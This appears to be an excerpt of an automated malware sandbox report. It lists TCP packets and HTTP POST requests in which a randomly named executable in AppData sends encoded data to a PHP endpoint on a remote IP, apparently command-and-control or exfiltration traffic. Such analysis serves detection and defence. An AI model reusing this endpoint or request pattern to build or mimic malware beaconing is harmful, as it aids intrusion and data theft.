                                                            Jul 10, 2024 09:09:59.976732016 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.019042015 CEST8050046193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.087562084 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.092878103 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.092951059 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.093153954 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.098166943 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.144800901 CEST8050046193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.144989967 CEST5004680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.324907064 CEST5004780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.329947948 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.330152988 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.450053930 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.455291986 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.455348015 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.455383062 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.663749933 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.715437889 CEST5004780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.777492046 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.777568102 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.777622938 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.777690887 CEST5004880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.783020020 CEST8050048193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.789644003 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.789689064 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.789738894 CEST5004780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.789798021 CEST5004780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.794769049 CEST8050047193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.898176908 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.903605938 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.905709982 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.905709982 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.905818939 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:00.910900116 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.910964966 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.911554098 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:00.911602020 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.600318909 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.600349903 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.600366116 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.600820065 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:01.600820065 CEST5004980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:01.606287956 CEST8050049193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.725423098 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:01.731694937 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:01.732007027 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:01.732156038 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:01.737289906 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.090549946 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.095699072 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.095769882 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.096338034 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.451426029 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.454714060 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.454782009 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.454865932 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.454916954 CEST5005080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.459909916 CEST8050050193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.578696966 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.584240913 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.584319115 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.584402084 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.589318037 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.937864065 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:02.943496943 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.943552971 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:02.943986893 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.254890919 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.267528057 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.267558098 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.267784119 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.267971992 CEST5005180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.274508953 CEST8050051193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.384828091 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.390136957 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.390335083 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.390439987 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.395397902 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.746977091 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:03.752391100 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.752418041 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:03.752430916 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.066117048 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.070225954 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.070292950 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.070400000 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.070621014 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.070668936 CEST5005280192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.076153040 CEST8050052193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.197789907 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.203125000 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.203210115 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.203311920 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.208594084 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.559806108 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.565700054 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.565748930 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.565785885 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.947410107 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.954273939 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.954329014 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:04.958131075 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.958131075 CEST5005380192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:04.963546038 CEST8050053193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.069845915 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.078835011 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.081742048 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.081742048 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.086854935 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.437911987 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.443552971 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.443581104 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.443593979 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.769016981 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.773324966 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.773530006 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.773730040 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.773730040 CEST5005480192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.779067039 CEST8050054193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.798156977 CEST5005580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.803478003 CEST8050055193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.805742979 CEST5005580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.805743933 CEST5005580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.810744047 CEST8050055193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.901339054 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.901429892 CEST5005580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.906604052 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.906683922 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.906831026 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:05.911644936 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:05.951006889 CEST8050055193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.262656927 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.268162012 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.268229961 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.268261909 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.276392937 CEST8050055193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.276443958 CEST5005580192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.570487022 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.573470116 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.573508978 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.573520899 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.573556900 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.573708057 CEST5005680192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.578592062 CEST8050056193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.712995052 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.718775034 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.718848944 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.718976974 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.719058037 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:06.723978043 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.724009991 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.724073887 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:06.724088907 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.384424925 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.388577938 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.388600111 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.388793945 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.388793945 CEST5005780192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.394244909 CEST8050057193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.507482052 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.513020039 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.515650988 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.515650988 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.521188021 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.871800900 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:07.877358913 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.877387047 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:07.877398968 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.169297934 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.174515963 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.174580097 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.174595118 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.174642086 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.174747944 CEST5005880192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.180314064 CEST8050058193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.289438009 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.295530081 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.295726061 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.295727015 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.301214933 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.653290033 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.659260988 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.659280062 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.659341097 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.964632988 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.970558882 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.970750093 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:08.970999956 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.971262932 CEST5005980192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:08.976294994 CEST8050059193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.084466934 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.090029955 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.090152979 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.090226889 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.095129013 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.435538054 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.441261053 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.441288948 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.441324949 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.762978077 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.769386053 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.769422054 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.769536972 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.769653082 CEST5006080192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.774580002 CEST8050060193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.884063005 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.889344931 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:09.889442921 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.889518023 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:09.894396067 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.246809006 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:10.251934052 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.251976013 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.252007008 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.566195011 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.570344925 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.570389032 CEST8050061193.233.115.185192.168.2.4
                                                            Jul 10, 2024 09:10:10.570398092 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:10.570430040 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:27.800745964 CEST5006180192.168.2.4193.233.115.185
                                                            Jul 10, 2024 09:10:27.805732965 CEST8050061193.233.115.185192.168.2.4

                                                            HTTP Request Dependency Graph

                                                            • 193.233.115.185

                                                            HTTP Packets

                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            0192.168.2.449731193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:16.615988970 CEST307OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 336
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:06:16.964257002 CEST336OUTData Raw: 05 07 04 06 06 0b 01 06 05 06 02 01 02 05 01 0a 00 01 05 0d 02 07 03 0f 02 05 0a 07 04 55 01 55 0d 0e 05 0c 03 54 05 00 0c 50 02 00 04 0b 04 00 03 00 0e 01 0d 03 04 0b 04 0f 05 00 04 55 07 0f 01 02 0a 08 00 00 06 07 0e 00 0c 0f 0f 00 0b 00 04 06
                                                            Data Ascii: UUTPURRQR\L~@hi^wn]vuwS~l[`BYs^xUxcjhTwS`gRA}u~V@xSbL~Oy
                                                            Jul 10, 2024 09:06:17.277714014 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:17.360779047 CEST1236INHTTP/1.1 200 OK
                                                            Date: Wed, 10 Jul 2024 07:06:17 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Vary: Accept-Encoding
                                                            Content-Length: 1420
                                                            Keep-Alive: timeout=5, max=100
                                                            Connection: Keep-Alive
                                                            Content-Type: text/html; charset=UTF-8
                                                            Data Raw: 56 4a 7d 59 7b 6e 64 5e 78 5b 7f 59 68 07 7f 49 7c 74 63 0c 7f 63 62 55 79 63 6f 59 7f 72 64 48 63 5a 7a 53 79 4f 5c 5f 61 58 68 45 7e 61 78 01 55 4b 71 08 63 71 63 07 68 5c 57 04 7c 74 66 40 6c 66 68 4f 69 5d 7c 58 76 62 69 02 63 71 7a 5d 7e 62 7e 00 6a 7f 7c 40 7d 77 67 02 61 4c 7b 06 7c 5c 71 01 7c 70 6a 5a 78 77 5e 43 6c 59 63 59 7b 54 67 4b 79 62 78 49 7b 5d 7d 5a 6b 5e 51 5b 79 67 77 5f 7d 5b 6f 40 75 4f 74 02 7a 51 41 5b 7d 64 78 09 68 62 65 09 76 6c 7c 06 7b 7c 5a 46 74 5e 62 0b 6e 62 66 59 7e 42 6a 4c 6c 5f 50 46 62 60 78 5a 62 5f 59 5e 63 71 72 50 7e 5d 7a 06 60 62 6e 5c 61 66 73 50 7e 6f 76 5d 77 6f 73 5d 68 5d 6c 06 6f 6f 7f 03 7b 5e 66 06 7c 6e 7f 51 74 74 7c 03 7e 62 66 09 7d 6d 77 4f 6c 53 65 5c 7d 4c 75 02 7b 5d 46 51 68 6c 74 41 6a 60 74 08 7e 77 66 07 78 43 68 5a 7b 72 73 5b 7e 71 5e 5f 7e 77 70 55 6b 5e 53 40 6e 5d 60 42 7d 4c 6c 03 60 5d 71 51 7b 5c 79 4a 75 66 70 45 7d 48 74 07 7e 66 69 42 74 62 51 44 7f 4c 7d 42 7f 67 7a 0d 7b 58 5e 08 7d 5d 77 04 75 72 71 03 76 61 61 04 7f 5f [TRUNCATED]
                                                            Data Ascii: VJ}Y{nd^x[YhI|tccbUycoYrdHcZzSyO\_aXhE~axUKqcqch\W|tf@lfhOi]|Xvbicqz]~b~j|@}wgaL{|\q|pjZxw^ClYcY{TgKybxI{]}Zk^Q[ygw_}[o@uOtzQA[}dxhbevl|{|ZFt^bnbfY~BjLl_PFb`xZb_Y^cqrP~]z`bn\afsP~ov]wos]h]loo{^f|nQtt|~bf}mwOlSe\}Lu{]FQhltAj`t~wfxChZ{rs[~q^_~wpUk^S@n]`B}Ll`]qQ{\yJufpE}Ht~fiBtbQDL}Bgz{X^}]wurqvaa_j|VwDvaY{\q}puygtxw`xmYzL^{MfO}`pI{YdI}\UNuax~BQK}gx@_avltxBpt^rz_u~lPxOPHwccu_`vaT|NPtL}ueZB|luOw|h|]h{RQJ{Nb}mhtIRr~O~}{xmn}rW|pt@}ll~`hO~w~x}wK{b|~qY}Y@paz]t}r|tsqzqqvHV}fd~XmAt\{}r}}wvxv|~sQvbqLvaa~aTFl^A}wvOw{LqH}^a{wlNxgl{}cFzrl{MPA{]NZ{wpjagva{ZjUs}wYR}qWbs^xRk\w^\Cnrf\|lP_z\y\}b`g{ZL~JxYi]wLmLb[xRz\c|U_cx{U{x`fD|C`NvdpL}qb@zSYQVq}@T[\\hl{oSokURsWt_BWUp\Up{]Rmd_PdKSVWpFRssFXabAmbj^YedQ_]jjrB`aJQqHCkdaC[NQjMIvuvqSJ|aPllw^Yubcoq}}pzY{hlYt\yWAXmcGVpOhUFn_Pn`[[dY|Q~Y`~_q@uALxAxBpYSUVvCWoWFWY[Yodq_Z_mXaxr_AZ[K\trsVkoB[po[P`UUU`\TcF{SVPm^oyp[NPTEQyz}
                                                            Jul 10, 2024 09:06:17.360821009 CEST413INData Raw: 58 6a 61 09 40 50 7c 67 56 53 6f 0c 5f 53 59 67 56 52 64 0e 41 64 0b 0b 58 6c 65 78 07 78 5e 07 69 7a 5a 41 51 6b 06 66 4e 57 70 41 04 6a 04 59 44 61 04 7a 54 6e 07 5c 45 5a 59 04 5a 51 65 64 5e 7f 5b 72 77 63 6e 51 54 65 61 09 4c 53 4a 7a 4a 7f
                                                            Data Ascii: Xja@P|gVSo_SYgVRdAdXlexx^izZAQkfNWpAjYDazTn\EZYZQed^[rwcnQTeaLSJzJ_]TQpC\a\F[YZSeDTpaXbf{|Zndz]OZloBUtAl^Do{GQ`QZU|od_z\Y^nb@W`Y{ukmfU[ApE|UU][uJPbP@QT\WY`_Z[gr[eUx^\^m]}\trsVkoB[po[P`UoGQs_Fhnm^
                                                            Jul 10, 2024 09:06:17.425970078 CEST283OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 384
                                                            Expect: 100-continue
                                                            Jul 10, 2024 09:06:17.625983000 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:06:17.626241922 CEST384OUTData Raw: 53 57 54 57 5f 5d 55 51 59 59 51 58 52 5a 56 50 57 52 5d 52 5a 5f 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTW_]UQYYQXRZVPWR]RZ_UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'.<65 7+0#$?7(+'#+2?Q(,5#F".[ ,
                                                            Jul 10, 2024 09:06:17.833333015 CEST324INHTTP/1.1 200 OK
                                                            Date: Wed, 10 Jul 2024 07:06:17 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Vary: Accept-Encoding
                                                            Content-Length: 152
                                                            Content-Type: text/html; charset=UTF-8
                                                            Data Raw: 00 1d 2e 54 23 2e 24 00 25 2d 33 58 3b 3c 27 0e 29 08 37 5b 24 05 2f 5d 22 23 39 02 30 38 0e 56 22 2b 21 17 30 07 0b 0e 37 3c 3c 59 2b 00 2c 5c 03 12 22 5d 22 38 2f 58 26 39 2e 5a 2a 2e 22 58 35 30 0f 1d 3e 3e 2d 54 27 55 32 58 35 07 38 05 2e 31 30 57 29 07 00 1a 2d 37 31 0c 30 02 21 56 0b 1e 25 08 3c 2c 3b 59 31 2c 22 11 24 38 21 1e 33 1a 3a 1e 31 3a 20 01 31 02 29 5b 28 3f 27 1d 30 38 2a 13 29 17 30 01 3f 3d 2e 08 35 3c 27 52 2b 0a 2e 57 05 33 59 54
                                                            Data Ascii: .T#.$%-3X;<')7[$/]"#908V"+!07<<Y+,\"]"8/X&9.Z*."X50>>-T'U2X58.10W)-710!V%<,;Y1,"$8!3:1: 1)[(?'08*)0?=.5<'R+.W3YT


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            1192.168.2.449732193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:06:17.497083902 CEST284OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Jul 10, 2024 09:06:17.858673096 CEST2548OUTData Raw: 56 5d 51 52 5a 58 50 5a 59 59 51 58 52 5f 56 52 57 50 5d 5e 5a 5d 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
